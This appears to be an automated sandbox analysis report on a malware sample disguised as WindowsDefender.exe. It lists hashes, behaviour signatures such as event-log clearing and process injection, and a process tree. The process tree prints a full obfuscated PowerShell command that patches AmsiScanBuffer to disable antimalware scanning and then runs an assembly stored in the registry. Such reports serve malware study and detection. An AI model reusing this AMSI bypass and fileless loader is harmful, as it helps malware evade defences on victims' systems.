Analysis
- max time kernel
150s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20241007-en - resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system - submitted
08/12/2024, 13:12
Static task
static1
Behavioral task
behavioral1
Sample
WindowsDefender.exe
Resource
win7-20240903-en
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
WindowsDefender.exe
Resource
win10v2004-20241007-en
18 signatures
150 seconds
Behavioral task
behavioral3
Sample
WindowsDefender.exe
Resource
win11-20241007-en
15 signatures
150 seconds
General
- Target WindowsDefender.exe
- Size 5.4MB
- Sample241208-qfm2bsvjev
- SHA256 e492c77d4584e952218e5183b68aacab3cbc0d46ad5a08863daa1ada03aa5443
- MD5 dc7090e5881a1255e747aa562e6b6a16
- SHA1 eb2ec5788063b817cf347d677cc0acf18c523727
- SHA512 507db8deed7b12819ed82feeb5c5d2673faf5c59eb4a296e6ecf4b6d577b8b8680eeeca983f29ae63dcbe12bf45765a0b9054bf987946ff0a5fd0317d80a38f6
- SSDEEP 98304:lr5S21Elcsx24rRnDB1l7iISitJ/rt6CPGBN211b4uYguSFF0yxYJT:N82alFx1rRDB1tTSitJ3PGBNC18uYJSW
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4516 created 632 4516 powershell.EXE 5 -
pid Process 4516 powershell.EXE 3176 powershell.exe - Creates new service(s) 2 TTPs
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts WindowsDefender.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe - Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1232 powercfg.exe 4656 powercfg.exe 2980 powercfg.exe 4564 powercfg.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe WindowsDefender.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4628 set thread context of 1848 4628 WindowsDefender.exe 96 PID 4516 set thread context of 4012 4516 powershell.EXE 110 - Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4996 sc.exe 3020 sc.exe 2812 sc.exe 3092 sc.exe 3116 sc.exe 3476 sc.exe 4716 sc.exe - Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1733663642" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={320941CF-975B-4919-B99B-879BD1879B34}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 08 Dec 2024 13:14:04 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4628 WindowsDefender.exe 3176 powershell.exe 3176 powershell.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4628 WindowsDefender.exe 4516 powershell.EXE 4516 powershell.EXE 4516 powershell.EXE 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe 4012 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3176 powershell.exe Token: SeDebugPrivilege 4628 WindowsDefender.exe Token: SeShutdownPrivilege 4656 powercfg.exe Token: SeCreatePagefilePrivilege 4656 powercfg.exe Token: SeShutdownPrivilege 1232 powercfg.exe Token: SeCreatePagefilePrivilege 1232 powercfg.exe Token: SeShutdownPrivilege 4564 powercfg.exe Token: SeCreatePagefilePrivilege 4564 powercfg.exe Token: SeShutdownPrivilege 2980 powercfg.exe Token: SeCreatePagefilePrivilege 2980 powercfg.exe Token: SeDebugPrivilege 4516 powershell.EXE Token: SeDebugPrivilege 4516 powershell.EXE Token: SeDebugPrivilege 4012 dllhost.exe Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE Token: SeCreatePagefilePrivilege 3288 Explorer.EXE Token: SeShutdownPrivilege 3288 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1140 wrote to memory of 4444 1140 cmd.exe 84 PID 1140 wrote to memory of 4444 1140 cmd.exe 84 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 4628 wrote to memory of 1848 4628 WindowsDefender.exe 96 PID 3268 wrote to memory of 1800 3268 cmd.exe 109 PID 3268 wrote to memory of 1800 3268 cmd.exe 109 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4516 wrote to memory of 4012 4516 powershell.EXE 110 PID 4012 wrote to memory of 632 4012 dllhost.exe 5 PID 4012 wrote to memory of 688 4012 dllhost.exe 7 PID 4012 wrote to memory of 984 4012 dllhost.exe 12 PID 4012 wrote to memory of 432 4012 dllhost.exe 13 PID 4012 wrote to memory of 720 4012 dllhost.exe 14 PID 4012 wrote to memory of 892 4012 dllhost.exe 15 PID 4012 wrote to memory of 1076 4012 dllhost.exe 17 PID 4012 wrote to memory of 1084 4012 dllhost.exe 18 PID 4012 wrote to memory of 1160 4012 dllhost.exe 19 PID 4012 wrote to memory of 1208 4012 dllhost.exe 20 PID 4012 wrote to memory of 1244 4012 dllhost.exe 21 PID 4012 wrote to memory of 1256 4012 dllhost.exe 22 PID 4012 wrote to memory of 1336 4012 dllhost.exe 23 PID 4012 wrote to memory of 1356 4012 dllhost.exe 24 PID 4012 wrote to memory of 1468 4012 dllhost.exe 25 PID 4012 wrote to memory of 1508 4012 dllhost.exe 26 PID 4012 wrote to memory of 1528 4012 dllhost.exe 27 PID 4012 wrote to memory of 1648 4012 dllhost.exe 28 PID 4012 wrote to memory of 1684 4012 dllhost.exe 29 PID 4012 wrote to memory of 1704 4012 dllhost.exe 30 PID 4012 wrote to memory of 1792 4012 dllhost.exe 31 PID 4012 wrote to memory of 1816 4012 dllhost.exe 32 PID 4012 wrote to memory of 1892 4012 dllhost.exe 33 PID 4012 wrote to memory of 1900 4012 dllhost.exe 34 PID 4012 wrote to memory of 2012 4012 dllhost.exe 35 PID 4012 wrote to memory of 1056 4012 dllhost.exe 36 PID 4012 wrote to memory of 2032 4012 dllhost.exe 37 PID 4012 wrote to memory of 2200 4012 dllhost.exe 38 PID 4012 wrote to memory of 2288 4012 dllhost.exe 40 PID 4012 wrote to memory of 2540 4012 dllhost.exe 41 PID 4012 wrote to memory of 2548 4012 dllhost.exe 42 PID 4012 wrote to memory of 2556 4012 dllhost.exe 43 PID 4012 wrote to memory of 2592 4012 dllhost.exe 44 PID 4012 wrote to memory of 2616 4012 dllhost.exe 45 PID 4012 wrote to memory of 2712 4012 dllhost.exe 46 PID 4012 wrote to memory of 2728 4012 dllhost.exe 47 PID 4012 wrote to memory of 2764 4012 dllhost.exe 48 PID 4012 wrote to memory of 2776 4012 dllhost.exe 49 PID 4012 wrote to memory of 2800 4012 dllhost.exe 50 PID 4012 wrote to memory of 3100 4012 dllhost.exe 51 PID 4012 wrote to memory of 3288 4012 dllhost.exe 52 PID 4012 wrote to memory of 3432 4012 dllhost.exe 53 PID 4012 wrote to memory of 3468 4012 dllhost.exe 54 PID 4012 wrote to memory of 3840 4012 dllhost.exe 57 PID 4012 wrote to memory of 3904 4012 dllhost.exe 58 PID 4012 wrote to memory of 3992 4012 dllhost.exe 59 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:632
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:432
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d1301960-75b2-479f-91b9-e9f1ae5ec075}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4012
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1160
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PDdZUEePrSFW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XYrXwQLDGAQQus,[Parameter(Position=1)][Type]$pxiqccAyEi)$omIWFQmdnqy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+[Char](121)+'Modu'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+[Char](108)+'egat'+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+'as'+'s'+',P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'e'+'d'+''+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+'Cl'+[Char](97)+''+[Char](115)+'s,'+'A'+'u'+'t'+'o'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$omIWFQmdnqy.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+'e'+[Char](99)+''+'i'+''+[Char](97)+''+'l'+''+'N'+'a'+[Char](109)+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'P'+'ub'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XYrXwQLDGAQQus).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+''+'g'+''+'e'+'d');$omIWFQmdnqy.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'id'+[Char](101)+''+'B'+'y'+[Char](83)+'i'+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+'i'+'r'+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$pxiqccAyEi,$XYrXwQLDGAQQus).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $omIWFQmdnqy.CreateType();}$GGkyYzIjzKoIN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'em.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+'n'+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+[Char](101)+'Na'+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+'M'+'et'+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$zAnPowriOjirKP=$GGkyYzIjzKoIN.GetMethod(''+[Char](71)+'e'+'t'+'P'+'r'+'o'+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HApttKmYilpYeqZhbWm=PDdZUEePrSFW @([String])([IntPtr]);$YOsXbXtinPYjLlmEGDgSnR=PDdZUEePrSFW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mlZDEbZWWht=$GGkyYzIjzKoIN.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+'d'+'u'+'l'+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+''+[Char](108)+'3'+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$iFrDlPDWCvpUjS=$zAnPowriOjirKP.Invoke($Null,@([Object]$mlZDEbZWWht,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+'a'+'ry'+[Char](65)+'')));$PKyHFdjwCfGsJafXB=$zAnPowriOjirKP.Invoke($Null,@([Object]$mlZDEbZWWht,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$WPkJYkE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iFrDlPDWCvpUjS,$HApttKmYilpYeqZhbWm).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+'ll');$ClfKhqyEJliDBQySa=$zAnPowriOjirKP.Invoke($Null,@([Object]$WPkJYkE,[Object](''+[Char](65)+'ms'+'i'+''+'S'+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$nfqogUiXHV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PKyHFdjwCfGsJafXB,$YOsXbXtinPYjLlmEGDgSnR).Invoke($ClfKhqyEJliDBQySa,[uint32]8,4,[ref]$nfqogUiXHV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ClfKhqyEJliDBQySa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PKyHFdjwCfGsJafXB,$YOsXbXtinPYjLlmEGDgSnR).Invoke($ClfKhqyEJliDBQySa,[uint32]8,0x20,[ref]$nfqogUiXHV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+'a'+[Char](108)+'e'+[Char](114)+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1336
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1356
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1704
